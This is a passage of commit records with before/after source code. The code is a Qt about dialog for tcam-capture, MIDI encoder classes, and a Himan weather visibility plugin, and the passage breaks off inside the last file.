ui->state_field->setPlainText(g_value_get_string(&state));\n\n    g_value_unset(&state);\n\n    ui->state_field->setEnabled(true);\n}\n\n\nvoid AboutDialog::write_state()\n{\n    auto str = ui->state_field->toPlainText();\n\n    g_object_set(p_tcambin, \"tcam-properties-json\", str.toStdString().c_str(), nullptr);\n\n}\n\n\nvoid AboutDialog::open_state()\n{\n    auto filename = QFileDialog::getOpenFileName(this,\n                                                 \"Open JSON State\",\n                                                 QString(),\n                                                 (\"*.json\"));\n\n    if (filename.isEmpty())\n    {\n        return;\n    }\n\n    QFile f(filename);\n\n    f.open(QIODevice::ReadOnly);\n    ui->state_field->setPlainText(f.readAll().toStdString().c_str());\n\n    f.close();\n}\n\n\nvoid AboutDialog::save_state()\n{\n    auto filename = QFileDialog::getSaveFileName(this,\n                                                 \"Save JSON State\",\n                                                 QString(),\n                                                 (\"*.json\"));\n\n    if (filename.isEmpty())\n    {\n        return;\n    }\n\n    QFile f(filename);\n\n    f.open(QIODevice::WriteOnly);\n    f.write(ui->state_field->toPlainText().toUtf8());\n\n    f.close();\n}\n<commit_msg>tcam-capture: Change title of json save dialog<commit_after>\/*\n * Copyright 2021 The Imaging Source Europe GmbH\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n * http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n\n#include \"aboutdialog.h\"\n#include \"ui_aboutdialog.h\"\n\n#include <QProcess>\n#include <QLabel>\n#include <QPushButton>\n#include <QFormLayout>\n#include <QApplication>\n#include <QClipboard>\n#include <QFileDialog>\n\n\nnamespace {\n\nstruct meta_entry\n{\n    QString name;\n    QLabel* value;\n};\n\nclass MetaWidget : public QWidget\n{\npublic:\n\n    MetaWidget(QWidget*parent=nullptr)\n        : QWidget(parent)\n    {\n        setLayout(new QFormLayout());\n\n        \/\/ Add default string, so that user always knows what is going on\n        dynamic_cast<QFormLayout*>(layout())->addRow(\"No GstMeta available.\", new QLabel());\n    };\n\n    ~MetaWidget()\n    {}\n\n    void update(GstStructure& struc)\n    {\n        \/\/ GstMeta will always have more than 1 entry\n        \/\/ this is a reliable identifier for us receiving the\n        \/\/ first update and having to remove the default string\n        if (dynamic_cast<QFormLayout*>(layout())->rowCount() == 1)\n        {\n            dynamic_cast<QFormLayout*>(layout())->removeRow(0);\n        }\n\n        auto meta_cb = [] (GQuark field_id,\n                           const GValue* value,\n                           gpointer user_data) -> gboolean\n        {\n\n            auto fill_label = [] (QLabel* label, const GValue* gvalue)\n            {\n                if (G_VALUE_TYPE(gvalue) == G_TYPE_BOOLEAN)\n                {\n                    gboolean val = g_value_get_boolean(gvalue);\n                    if (val)\n                    {\n                        label->setText(\"true\");\n                    }\n                    else\n                    {\n                        label->setText(\"false\");\n                    }\n                }\n                else if (G_VALUE_TYPE(gvalue) == G_TYPE_DOUBLE)\n                {\n                    double val = g_value_get_double(gvalue);\n                    label->setText(QString::number(val));\n\n                }\n                else if (G_VALUE_TYPE(gvalue) == G_TYPE_UINT64)\n                {\n                    guint64 val = g_value_get_uint64(gvalue);\n                    label->setText(QString::number(val));\n                }\n                else\n                {\n                    qWarning(\"value type not implemented for TcamMeta\\n\");\n                }\n            };\n\n            MetaWidget* self  = (MetaWidget*)user_data;\n\n            QString name = g_quark_to_string(field_id);\n\n            auto iter = std::find_if(self->m_entries.begin(), self->m_entries.end(),\n                                     [&name] (const meta_entry& entry)\n                                     {\n                                         if (entry.name == name)\n                                         {\n                                             return true;\n                                         }\n                                         return false;\n                                     });\n\n            if (iter == self->m_entries.end())\n            {\n                meta_entry e = {name, new QLabel()};\n                e.value->setTextInteractionFlags(Qt::TextSelectableByMouse | Qt::TextSelectableByKeyboard);\n                self->m_entries.push_back(e);\n\n                dynamic_cast<QFormLayout*>(self->layout())->addRow(name, e.value);\n                fill_label(e.value, value);\n            }\n            else\n            {\n                fill_label(iter->value, value);\n            }\n\n            return TRUE;\n        };\n\n        gst_structure_foreach(&struc, meta_cb, this);\n\n    }\n\nprivate:\n\n    std::vector<meta_entry> m_entries;\n};\n\n} \/\/ namespace\n\nAboutDialog::AboutDialog(const QString& pipeline_str, QWidget *parent) :\n    QDialog(parent),\n    ui(new Ui::AboutDialog),\n    m_pipeline_str(pipeline_str)\n{\n    ui->setupUi(this);\n\n    ui->tab_versions->layout()->setAlignment(Qt::AlignTop);\n\n    fill_stream();\n    fill_versions();\n    fill_state();\n}\n\nAboutDialog::~AboutDialog()\n{\n    delete ui;\n}\n\n\nvoid AboutDialog::fill_stream()\n{\n    auto layout = dynamic_cast<QFormLayout*>(ui->tab_stream->layout());\n\n    auto tmp = m_pipeline_str;\n\n    tmp.replace(\"!\", \"<br>!\");\n\n    auto pipe_label = new QLabel(tmp);\n    pipe_label->setTextInteractionFlags(Qt::TextSelectableByMouse | Qt::TextSelectableByKeyboard);\n\n    layout->addRow(\"Pipeline: \", pipe_label);\n\n    if (!p_label_device_caps)\n    {\n        p_label_device_caps = new QLabel();\n        p_label_device_caps->setTextInteractionFlags(Qt::TextSelectableByMouse | Qt::TextSelectableByKeyboard);\n    }\n\n    layout->addRow(\"Device caps: \", p_label_device_caps);\n\n    p_meta = new MetaWidget();\n\n    layout->addRow(\"GstMeta:\", p_meta);\n\n}\n\n\nvoid AboutDialog::fill_versions()\n{\n    QProcess process_tis_version;\n    process_tis_version.start(\"tcam-ctrl\", {\"--version\"});\n    process_tis_version.waitForFinished(-1); \/\/ will wait forever until finished\n\n    QString stdout_tis = process_tis_version.readAllStandardOutput();\n    QString stderr = process_tis_version.readAllStandardError();\n\n    QProcess process_tis_packages;\n    process_tis_packages.start(\"tcam-ctrl\", {\"--packages\"});\n    process_tis_packages.waitForFinished(-1); \/\/ will wait forever until finished\n\n    QString stdout_packages = process_tis_packages.readAllStandardOutput();\n\n    \/\/ we work with a rich text label\n    \/\/ this means a 'normal' string\n    \/\/ does not suffice. Instead use html tags.\n    stdout_tis.replace(\"\\n\", \"<br>\");\n    stdout_packages.replace(\"\\n\", \"<br>\");\n    stdout_packages.replace(\"\\t\", \"&nbsp;\");\n\n    QString s = \"<h3>Tiscamera:<\/h3>\"\n        + stdout_tis\n        + \"<h3>Packages:<\/h3>\"\n        + stdout_packages;\n\n    ui->label_versions->setTextInteractionFlags(Qt::TextSelectableByMouse | Qt::TextSelectableByKeyboard);\n    ui->label_versions->setText(s);\n}\n\n\nvoid AboutDialog::fill_state()\n{\n    auto apply_button = ui->buttonBox_2->button(QDialogButtonBox::Apply);\n    auto reset_button = ui->buttonBox_2->button(QDialogButtonBox::Reset);\n    auto save_button = ui->buttonBox_2->button(QDialogButtonBox::Save);\n    auto open_button = ui->buttonBox_2->button(QDialogButtonBox::Open);\n\n    connect(apply_button, &QPushButton::clicked, this, &AboutDialog::write_state);\n    connect(reset_button, &QPushButton::clicked, this, &AboutDialog::update_state);\n    connect(save_button, &QPushButton::clicked, this, &AboutDialog::save_state);\n    connect(open_button, &QPushButton::clicked, this, &AboutDialog::open_state);\n}\n\n\nvoid AboutDialog::set_device_caps(const QString& dev_caps)\n{\n    p_label_device_caps->setText(dev_caps);\n}\n\n\nvoid AboutDialog::set_tcambin(GstElement* bin)\n{\n    p_tcambin = bin;\n\n    update_state();\n}\n\n\nvoid AboutDialog::update_meta(GstStructure* meta)\n{\n    MetaWidget* m = (MetaWidget*)p_meta;\n\n    m->update(*meta);\n\n    \/\/ has to free here\n    gst_structure_free(meta);\n}\n\n\nvoid AboutDialog::update_state()\n{\n    if (!p_tcambin)\n    {\n        ui->state_field->setPlainText(\"\");\n        ui->state_field->setEnabled(false);\n        return;\n    }\n\n    GValue state = G_VALUE_INIT;\n    g_value_init(&state, G_TYPE_STRING);\n    g_object_get_property(G_OBJECT(p_tcambin), \"tcam-properties-json\", &state);\n\n    ui->state_field->setPlainText(g_value_get_string(&state));\n\n    g_value_unset(&state);\n\n    ui->state_field->setEnabled(true);\n}\n\n\nvoid AboutDialog::write_state()\n{\n    auto str = ui->state_field->toPlainText();\n\n    g_object_set(p_tcambin, \"tcam-properties-json\", str.toStdString().c_str(), nullptr);\n\n}\n\n\nvoid AboutDialog::open_state()\n{\n    auto filename = QFileDialog::getOpenFileName(this,\n                                                 \"Open JSON State\",\n                                                 QString(),\n                                                 (\"*.json\"));\n\n    if (filename.isEmpty())\n    {\n        return;\n    }\n\n    QFile f(filename);\n\n    f.open(QIODevice::ReadOnly);\n    ui->state_field->setPlainText(f.readAll().toStdString().c_str());\n\n    f.close();\n}\n\n\nvoid AboutDialog::save_state()\n{\n    auto filename = QFileDialog::getSaveFileName(this,\n                                                 \"Save Device State\",\n                                                 QString(),\n                                                 (\"*.json\"));\n\n    if (filename.isEmpty())\n    {\n        return;\n    }\n\n    QFile f(filename);\n\n    f.open(QIODevice::WriteOnly);\n    f.write(ui->state_field->toPlainText().toUtf8());\n\n    f.close();\n}\n<|endoftext|>"}
{"text":"<commit_before>\/* Copyright (c) 2009 - http:\/\/ruinwesen.com\/ *\/\n\n#include \"Encoders.hh\"\n#include \"MidiTools.h\"\n#include \"Midi.h\"\n\n#include \"GUI.h\"\n\n\/* handlers *\/\n\n\/**\n * \\addtogroup GUI\n *\n * @{\n *\n * \\addtogroup gui_encoders Encoder classes\n *\n * @{\n *\n * \\file\n * Encoder classes\n **\/\nclass Encoder;\n\n\/**\n * Handle a change in a CCEncoder by sending out the CC, using the\n * channel and cc out of the CCEncoder object.\n **\/\nvoid CCEncoderHandle(Encoder *enc) {\n  CCEncoder *ccEnc = (CCEncoder *)enc;\n  uint8_t channel = ccEnc->getChannel();\n  uint8_t cc = ccEnc->getCC();\n  uint8_t value = ccEnc->getValue();\n\t\n  MidiUart.sendCC(channel, cc, value);\n}\n\n\/**\n * Handle a change in a VarRangeEncoder by setting the variable pointed to by enc->var.\n **\/\nvoid VarRangeEncoderHandle(Encoder *enc) {\n  VarRangeEncoder *rEnc = (VarRangeEncoder *)enc;\n  if (rEnc->var != NULL) {\n    *(rEnc->var) = rEnc->getValue();\n  }\n}\n\n#ifndef HOST_MIDIDUINO\n#include <MidiClock.h>\n\n\/**\n * Handle an encoder change by setting the MidiClock tempo to the encoder value.\n **\/\nvoid TempoEncoderHandle(Encoder *enc) {\n  MidiClock.setTempo(enc->getValue());\n}\n#endif\n\nEncoder::Encoder(const char *_name, encoder_handle_t _handler)\n  : old(0),\n    cur(0),\n    redisplay(false),\n    handler(_handler),\n    fastmode(true),\n    fastmodestep(5),\n    pressmode(false),\n    locked(false)\n{\n  setName(_name);\n}\n\nvoid Encoder::checkHandle() {\n  if (cur != old) {\n    if (!locked) {\n      if (handler != NULL)\n        handler(this);\n    }\n  }\n  \n  old = cur;\n}\n\nvoid Encoder::setName(const char *_name) {\n  if (_name != NULL)\n    m_strncpy_fill(name, _name, 4);\n  name[3] = '\\0';\n}\n\nvoid Encoder::setValue(int value, bool handle) {\n  if (handle) {\n    cur = value;\n    checkHandle();\n  } else {\n    old = cur = value;\n  }\n  redisplay = true;\n}\n\nvoid Encoder::lock() {\n  old_lock = old;\n  locked = true;\n}\n\nvoid Encoder::unlock() {\n  locked = false;\n  old = old_lock;\n  \/\/  checkHandle();\n}\n\nvoid Encoder::displayAt(int i) {\n  GUI.put_value(i, getValue());\n  redisplay = false;\n}\n\nbool Encoder::hasChanged() {\n  return old != cur && !locked;\n}\n\nvoid Encoder::clear() {\n  old = 0;\n  cur = 0;\n}\n\nint Encoder::update(encoder_t *enc) {\n  cur = cur + enc->normal + (pressmode ? 0 : (fastmode ? fastmodestep * enc->button : enc->button));\n  return cur;\n}\n\n\/* EnumEncoder *\/\nvoid EnumEncoder::displayAt(int i) {\n  GUI.put_string_at(i * 4, enumStrings[getValue()]);\n  redisplay = false;\n}\n\nvoid PEnumEncoder::displayAt(int i) {\n  \/\/  GUI.put_p_string_at_fill(i * 4, (PGM_P)(pgm_read_word(enumStrings[getValue()])));\n  GUI.put_p_string_at(i * 4, (PGM_P)(enumStrings[getValue()]));\n  redisplay = false;\n}\n\n\n\/* RangeEncoder *\/\n\nint RangeEncoder::update(encoder_t *enc) {\n  int inc = enc->normal + (pressmode ? 0 : (fastmode ? fastmodestep * enc->button : enc->button));\n  \n  cur = limit_value(cur, inc, min, max);\n  return cur;\n}\n\n\/* CharEncoder *\/\nCharEncoder::CharEncoder()  : RangeEncoder(0, 37) {\n}\n\nchar CharEncoder::getChar() {\n  uint8_t val = getValue();\n  if (val == 0) {\n    return ' ';\n  }\n  if (val < 27) \n    return val - 1+ 'A';\n  else\n    return (val - 27) + '0';\n}\n\nvoid CharEncoder::setChar(char c) {\n  if (c >= 'A' && c <= 'Z') {\n    setValue(c - 'A' + 1);\n  } else if (c >= '0' && c <= '9') {\n    setValue(c - '0' + 26 + 1);\n  } else {\n    setValue(0);\n  }\n}\n\n\/* notePitchEncoder *\/\nNotePitchEncoder::NotePitchEncoder(char *_name) : RangeEncoder(0, 127, _name) {\n  setName(_name);\n}\n\nvoid NotePitchEncoder::displayAt(int i) {\n  char name[5];\n  getNotePitch(getValue(), name);\n  GUI.put_string_at(i * 4, name);\n}\n\nvoid MidiTrackEncoder::displayAt(int i) {\n  GUI.put_value(i, getValue() + 1);\n}\n\n\/* auto name CC encoder *\/\nvoid AutoNameCCEncoder::initCCEncoder(uint8_t _channel, uint8_t _cc) {\n  CCEncoder::initCCEncoder(_channel, _cc);\n  setCCName();\n  GUI.redisplay();\n\n}\n\n<commit_msg>Fix initialization order<commit_after>\/* Copyright (c) 2009 - http:\/\/ruinwesen.com\/ *\/\n\n#include \"Encoders.hh\"\n#include \"MidiTools.h\"\n#include \"Midi.h\"\n\n#include \"GUI.h\"\n\n\/* handlers *\/\n\n\/**\n * \\addtogroup GUI\n *\n * @{\n *\n * \\addtogroup gui_encoders Encoder classes\n *\n * @{\n *\n * \\file\n * Encoder classes\n **\/\nclass Encoder;\n\n\/**\n * Handle a change in a CCEncoder by sending out the CC, using the\n * channel and cc out of the CCEncoder object.\n **\/\nvoid CCEncoderHandle(Encoder *enc) {\n  CCEncoder *ccEnc = (CCEncoder *)enc;\n  uint8_t channel = ccEnc->getChannel();\n  uint8_t cc = ccEnc->getCC();\n  uint8_t value = ccEnc->getValue();\n\t\n  MidiUart.sendCC(channel, cc, value);\n}\n\n\/**\n * Handle a change in a VarRangeEncoder by setting the variable pointed to by enc->var.\n **\/\nvoid VarRangeEncoderHandle(Encoder *enc) {\n  VarRangeEncoder *rEnc = (VarRangeEncoder *)enc;\n  if (rEnc->var != NULL) {\n    *(rEnc->var) = rEnc->getValue();\n  }\n}\n\n#ifndef HOST_MIDIDUINO\n#include <MidiClock.h>\n\n\/**\n * Handle an encoder change by setting the MidiClock tempo to the encoder value.\n **\/\nvoid TempoEncoderHandle(Encoder *enc) {\n  MidiClock.setTempo(enc->getValue());\n}\n#endif\n\nEncoder::Encoder(const char *_name, encoder_handle_t _handler)\n  : old(0),\n    cur(0),\n    fastmode(true),\n    fastmodestep(5),\n    pressmode(false),\n    locked(false),\n    handler(_handler),\n    redisplay(false)\n{\n  setName(_name);\n}\n\nvoid Encoder::checkHandle() {\n  if (cur != old) {\n    if (!locked) {\n      if (handler != NULL)\n        handler(this);\n    }\n  }\n  \n  old = cur;\n}\n\nvoid Encoder::setName(const char *_name) {\n  if (_name != NULL)\n    m_strncpy_fill(name, _name, 4);\n  name[3] = '\\0';\n}\n\nvoid Encoder::setValue(int value, bool handle) {\n  if (handle) {\n    cur = value;\n    checkHandle();\n  } else {\n    old = cur = value;\n  }\n  redisplay = true;\n}\n\nvoid Encoder::lock() {\n  old_lock = old;\n  locked = true;\n}\n\nvoid Encoder::unlock() {\n  locked = false;\n  old = old_lock;\n  \/\/  checkHandle();\n}\n\nvoid Encoder::displayAt(int i) {\n  GUI.put_value(i, getValue());\n  redisplay = false;\n}\n\nbool Encoder::hasChanged() {\n  return old != cur && !locked;\n}\n\nvoid Encoder::clear() {\n  old = 0;\n  cur = 0;\n}\n\nint Encoder::update(encoder_t *enc) {\n  cur = cur + enc->normal + (pressmode ? 0 : (fastmode ? fastmodestep * enc->button : enc->button));\n  return cur;\n}\n\n\/* EnumEncoder *\/\nvoid EnumEncoder::displayAt(int i) {\n  GUI.put_string_at(i * 4, enumStrings[getValue()]);\n  redisplay = false;\n}\n\nvoid PEnumEncoder::displayAt(int i) {\n  \/\/  GUI.put_p_string_at_fill(i * 4, (PGM_P)(pgm_read_word(enumStrings[getValue()])));\n  GUI.put_p_string_at(i * 4, (PGM_P)(enumStrings[getValue()]));\n  redisplay = false;\n}\n\n\n\/* RangeEncoder *\/\n\nint RangeEncoder::update(encoder_t *enc) {\n  int inc = enc->normal + (pressmode ? 0 : (fastmode ? fastmodestep * enc->button : enc->button));\n  \n  cur = limit_value(cur, inc, min, max);\n  return cur;\n}\n\n\/* CharEncoder *\/\nCharEncoder::CharEncoder()  : RangeEncoder(0, 37) {\n}\n\nchar CharEncoder::getChar() {\n  uint8_t val = getValue();\n  if (val == 0) {\n    return ' ';\n  }\n  if (val < 27) \n    return val - 1+ 'A';\n  else\n    return (val - 27) + '0';\n}\n\nvoid CharEncoder::setChar(char c) {\n  if (c >= 'A' && c <= 'Z') {\n    setValue(c - 'A' + 1);\n  } else if (c >= '0' && c <= '9') {\n    setValue(c - '0' + 26 + 1);\n  } else {\n    setValue(0);\n  }\n}\n\n\/* notePitchEncoder *\/\nNotePitchEncoder::NotePitchEncoder(char *_name) : RangeEncoder(0, 127, _name) {\n  setName(_name);\n}\n\nvoid NotePitchEncoder::displayAt(int i) {\n  char name[5];\n  getNotePitch(getValue(), name);\n  GUI.put_string_at(i * 4, name);\n}\n\nvoid MidiTrackEncoder::displayAt(int i) {\n  GUI.put_value(i, getValue() + 1);\n}\n\n\/* auto name CC encoder *\/\nvoid AutoNameCCEncoder::initCCEncoder(uint8_t _channel, uint8_t _cc) {\n  CCEncoder::initCCEncoder(_channel, _cc);\n  setCCName();\n  GUI.redisplay();\n\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/**\n * @file visibility\n *\/\n\n#include \"visibility.h\"\n#include \"forecast_time.h\"\n#include \"level.h\"\n#include \"logger_factory.h\"\n#include \"plugin_factory.h\"\n#include \"util.h\"\n#include <boost\/lexical_cast.hpp>\n#include <cmath>\n\n#include \"fetcher.h\"\n#include \"hitool.h\"\n#include \"neons.h\"\n\nusing namespace std;\nusing namespace himan;\nusing namespace himan::plugin;\n\nconst double defaultVis = 40000;\n\n\/\/ Lumi- tai räntäsateen intensiteetin \"tehostus\" [mm\/h]\n\/\/ Tällä siis tarkoitus saada mallin heikotkin lumisadeintensiteetit huonontamaan näkyvyyttä\nconst double pseudoRR = 0.13;\n\n\/\/ Raja-arvo merkittävälle sumupilven määrälle [0..1]\nconst double stLimit = 0.55;\n\n\/\/ Sumupilven max korkeus [m], 305m = 1000ft\nconst double stMaxH = 305.;\n\nconst himan::params PFParams({himan::param(\"PRECFORM2-N\"), himan::param(\"PRECFORM-N\")});\nconst himan::params RHParam({himan::param(\"RH-PRCNT\"), himan::param(\"RH-0TO1\")});\nconst himan::param RRParam(himan::param(\"RRR-KGM2\"));\nconst himan::params NParam({himan::param(\"N-PRCNT\"), himan::param(\"N-0TO1\")});\n\n\/\/ ..and their levels\nconst himan::level NLevel(himan::kHeight, 0, \"HEIGHT\");\nconst himan::level RHLevel(himan::kHeight, 2, \"HEIGHT\");\n\ndouble VisibilityInRain(double stN, double stH, double RR, double RH, int PF);\ndouble VisibilityInMist(double stN, double stH, double RR, double RH);\n\nvisibility::visibility()\n{\n\titsClearTextFormula = \"<algorithm>\";\n\titsLogger = logger_factory::Instance()->GetLog(\"visibility\");\n}\n\nvoid visibility::Process(std::shared_ptr<const plugin_configuration> conf)\n{\n\tInit(conf);\n\n\tSetParams({param(\"VV2-M\", 407)});\n\n\tStart();\n}\n\n\/*\n * Calculate()\n *\n * This function does the actual calculation.\n *\/\n\nvoid visibility::Calculate(shared_ptr<info> myTargetInfo, unsigned short threadIndex)\n{\n\tauto myThreadedLogger =\n\t    logger_factory::Instance()->GetLog(\"visibilityThread #\" + boost::lexical_cast<string>(threadIndex));\n\n\tforecast_time forecastTime = myTargetInfo->Time();\n\tlevel forecastLevel = myTargetInfo->Level();\n\tforecast_type forecastType = myTargetInfo->ForecastType();\n\n\tmyThreadedLogger->Info(\"Calculating time \" + static_cast<string>(forecastTime.ValidDateTime()) + \" level \" +\n\t                       static_cast<string>(forecastLevel));\n\n\tinfo_t RHInfo = Fetch(forecastTime, RHLevel, RHParam, forecastType, false);\n\tinfo_t PFInfo = Fetch(forecastTime, NLevel, PFParams, forecastType, false);\n\tinfo_t RRInfo = Fetch(forecastTime, NLevel, RRParam, forecastType, false);\n\n\tif (!RRInfo || !RHInfo || !PFInfo)\n\t{\n\t\tmyThreadedLogger->Warning(\"Skipping step \" + boost::lexical_cast<string>(forecastTime.Step()) + \", level \" +\n\t\t                          static_cast<string>(forecastLevel));\n\t\treturn;\n\t}\n\n\tdouble RHScale = 1;\n\n\tif (itsConfiguration->SourceProducer().Id() == 1 || itsConfiguration->SourceProducer().Id() == 199 ||\n\t    itsConfiguration->SourceProducer().Id() == 4)\n\t{\n\t\tRHScale = 100;\n\t}\n\n\tauto h = GET_PLUGIN(hitool);\n\n\th->Configuration(itsConfiguration);\n\th->Time(myTargetInfo->Time());\n\th->ForecastType(myTargetInfo->ForecastType());\n\n\t\/\/ Alle 304m (1000ft) sumupilven (max) määrä [0..1]\n\tauto stN = h->VerticalMaximum(NParam, 0, stMaxH);\n\n\t\/\/ Stratus <15m (~0-50ft)\n\tauto st15 = h->VerticalMaximum(NParam, 0, 15);\n\n\t\/\/ Stratus 15-45m (~50-150ft)\n\tauto st45 = h->VerticalMaximum(NParam, 15, 45);\n\n\t\/\/ Sumupilven korkeus [m]\n\tauto stH = h->VerticalHeightGreaterThan(NParam, 0, stMaxH, stLimit);\n\n\t\/\/ Jos sumupilveä ohut kerros (vain) ~alimmalla mallipinnalla, jätetään alin kerros huomioimatta\n\t\/\/ (ehkä mieluummin ylempää keskiarvo, jottei tällöin mahdollinen ylempi st-kerros huononna näkyvyyttä liikaa?)\n\tauto stHup = h->VerticalHeightGreaterThan(NParam, 15, stMaxH, stLimit);\n\tauto stNup = h->VerticalMaximum(NParam, 15, stMaxH);\n\n\tassert(stH.size() == stHup.size());\n\tassert(st15.size() == stH.size());\n\n\tfor (size_t i = 0; i < stH.size(); i++)\n\t{\n\t\tif (st15[i] > stLimit && st45[i] < stLimit)\n\t\t{\n\t\t\tstN[i] = stNup[i];\n\t\t\tstH[i] = stHup[i];\n\t\t}\n\t}\n\n\tstring deviceType = \"CPU\";\n\n\tauto& target = VEC(myTargetInfo);\n\n\tfor (auto&& tup : zip_range(target, VEC(PFInfo), VEC(RRInfo), VEC(RHInfo), stN, stH))\n\t{\n\t\tdouble& result = tup.get<0>();\n\t\tdouble PF = tup.get<1>();\n\t\tdouble RR = tup.get<2>();\n\t\tdouble RH = tup.get<3>();\n\t\tdouble stratN = tup.get<4>();\n\t\tdouble stratH = tup.get<5>();\n\n\t\tif (RR == kFloatMissing || RH == kFloatMissing)\n\t\t{\n\t\t\tcontinue;\n\t\t}\n\n\t\tassert(stratN <= 1.0);\n\t\tassert(RR < 50);\n\n\t\tstratN *= 100;  \/\/ Note! Cloudiness is scaled to percents\n\n\t\tRH *= RHScale;\n\n\t\tassert(RH < 102.);\n\n\t\tdouble visPre = defaultVis;\n\n\t\tif (RR > 0)\n\t\t{\n\t\t\tvisPre = VisibilityInRain(stratN, stratH, RR, RH, PF);\n\t\t}\n\n\t\tdouble visMist = VisibilityInMist(stratN, stratH, RR, RH);\n\n\t\t\/\/ Choose lower visibility to be the end result\n\n\t\tresult = fmin(visMist, visPre);\n\t}\n\n\tmyThreadedLogger->Info(\"[\" + deviceType + \"] Missing values: \" +\n\t                       boost::lexical_cast<string>(myTargetInfo->Data().MissingCount()) + \"\/\" +\n\t                       boost::lexical_cast<string>(myTargetInfo->Data().Size()));\n}\n\ndouble VisibilityInRain(double stN, double stH, double RR, double RH, int PF)\n{\n\tdouble visPre = defaultVis;\n\n\t\/\/ Näkyvyyden utuisuuskerroin sateessa 2m suhteellisen kosteuden perusteella [0,85...8,5, kun 100%<rh<10%]\n\t\/\/ (jos rh<85%, näkyvyyttä parannetaan)\n\n\tconst double RHpre = 85. \/ RH;\n\n\t\/\/ Näkyvyyden utuisuuskerroin sateessa matalan sumupilven (alle 1000ft) määrän perusteella [1...0,85, kun\n\t\/\/ 50<N<100%]\n\t\/\/ Alle 50% sumupilven määrä ei siis huononna näkyvyyttä sateessa\n\n\tconst double stNpre = (stN >= 50) ? log(50) \/ log(stN) : 1;\n\n\t\/\/ Näkyvyyden utuisuuskerroin sateessa matalan sumupilvikorkeuden perusteella [0,68...1, kun stH=12...152m]\n\t\/\/ Yli 152m (500ft) korkeudella oleva sumupilvi ei siis huononna näkyvyyttä sateessa\n\n\tconst double stHpre = (stH != kFloatMissing && stH < 152) ? pow((stH \/ 152), 0.15) : 1;\n\n\tassert(PF != kFloatMissing);\n\n\tswitch (PF)\n\t{\n\t\tcase 0:\n\t\tcase 4:\n\t\t\t\/\/ Tihku (tai jäätävä tihku)\n\t\t\t\/\/ Nakyvyys intensiteetin perusteella\n\t\t\tvisPre = 1. \/ RR * 500;\n\t\t\tbreak;\n\n\t\tcase 1:\n\t\tcase 5:\n\t\t\t\/\/ Vesisade (tai jäätävä vesisade)\n\t\t\t\/\/ Nakyvyys intensiteetin perusteella\n\t\t\t\/\/ (kaava antaa ehkä turhan huonoja <4000m näkyvyyksiä reippaassa RR>4 vesisateessa)\n\t\t\tvisPre = 1 \/ RR * 6000 + 2000;\n\t\t\tbreak;\n\n\t\tcase 3:\n\t\t\t\/\/ Snow\n\t\t\t\/\/ Näkyvyys intensiteetin perusteella\n\t\t\tvisPre = 1 \/ (RR + pseudoRR) * 1400;\n\t\t\tbreak;\n\n\t\tcase 2:\n\t\t\t\/\/ Sleet\n\t\t\t\/\/ Näkyvyys intensiteetin perusteella\n\t\t\tvisPre = 1 \/ (RR + pseudoRR) * 2000;\n\t\t\tbreak;\n\t\tdefault:\n\t\t\tthrow runtime_error(\"New unhandled precipitation form value: \" + to_string(PF));\n\t}\n\n\t\/\/ Mahdollinen lisähuononnus utuisuuden perusteella\n\tvisPre = visPre * RHpre * stNpre * stHpre;\n\n\treturn fmin(visPre, defaultVis);\n}\n\ndouble VisibilityInMist(double stN, double stH, double RR, double RH)\n{\n\tdouble visMist = defaultVis;\n\n\t\/\/ Näkyvyyden utuisuuskerroin udussa\/sumussa sumupilven määrän perusteella [7,5...0,68, kun stN = 0...100%]\n\tconst double stNmist = 75. \/ (stN + 10);\n\n\t\/\/ Nakyvyyden utuisuuskerroin udussa\/sumussa sumupilvikorkeuden perusteella [ 0,47...1, kun par500 = 50...999ft]\n\tconst double stHmist = (stH != kFloatMissing && stH < 305) ? pow((stH \/ 0.3048 \/ 1000), 0.25) : 1;\n\n\t\/\/ Nakyvyys udussa\/sumussa, lasketaan myos heikossa sateessa (tarkoituksena tasoittaa suuria\n\t\/\/ nakyvyysgradientteja sateen reunalla)\n\t\/\/ (ehka syyta rajata vain tilanteisiin, jossa sateen perusteella saatu nakyvyys oli viela >8000?)\n\n\tif ((RR < 0.5 || RR == kFloatMissing) && RH > 80)\n\t{\n\t\t\/\/ Näkyvyys udussa\/sumussa\n\t\t\/\/ Yksinkertaistetty kaava, eli lasketaan samalla tavalla riippumatta siitä, onko pakkasta vai ei\n\t\t\/\/ (pakkaset eri tavalla voisi olla parempi tapa)\n\n\t\t\/\/ Alkuarvo suht. kosteuden perusteella [700-31400m, kun 100<=RH<80]\n\t\tvisMist = pow((101 - RH), 1.25) * 700;\n\t\t\/\/ Lisamuokkaus sumupilven maaran ja korkeuden perusteella\n\t\tvisMist = visMist * stNmist * stHmist;\n\t}\n\n\treturn fmin(visMist, defaultVis);\n}\n<commit_msg>STU-5685: change max to average to mimic smarttool<commit_after>\/**\n * @file visibility\n *\/\n\n#include \"visibility.h\"\n#include \"forecast_time.h\"\n#include \"level.h\"\n#include \"logger_factory.h\"\n#include \"plugin_factory.h\"\n#include \"util.h\"\n#include <boost\/lexical_cast.hpp>\n#include <cmath>\n\n#include \"fetcher.h\"\n#include \"hitool.h\"\n#include \"neons.h\"\n\nusing namespace std;\nusing namespace himan;\nusing namespace himan::plugin;\n\nconst double defaultVis = 40000;\n\n\/\/ Lumi- tai räntäsateen intensiteetin \"tehostus\" [mm\/h]\n\/\/ Tällä siis tarkoitus saada mallin heikotkin lumisadeintensiteetit huonontamaan näkyvyyttä\nconst double pseudoRR = 0.13;\n\n\/\/ Raja-arvo merkittävälle sumupilven määrälle [0..1]\nconst double stLimit = 0.55;\n\n\/\/ Sumupilven max korkeus [m], 305m = 1000ft\nconst double stMaxH = 305.;\n\nconst himan::params PFParams({himan::param(\"PRECFORM2-N\"), himan::param(\"PRECFORM-N\")});\nconst himan::params RHParam({himan::param(\"RH-PRCNT\"), himan::param(\"RH-0TO1\")});\nconst himan::param RRParam(himan::param(\"RRR-KGM2\"));\nconst himan::params NParam({himan::param(\"N-PRCNT\"), himan::param(\"N-0TO1\")});\n\n\/\/ ..and their levels\nconst himan::level NLevel(himan::kHeight, 0, \"HEIGHT\");\nconst himan::level RHLevel(himan::kHeight, 2, \"HEIGHT\");\n\ndouble VisibilityInRain(double stN, double stH, double RR, double RH, int 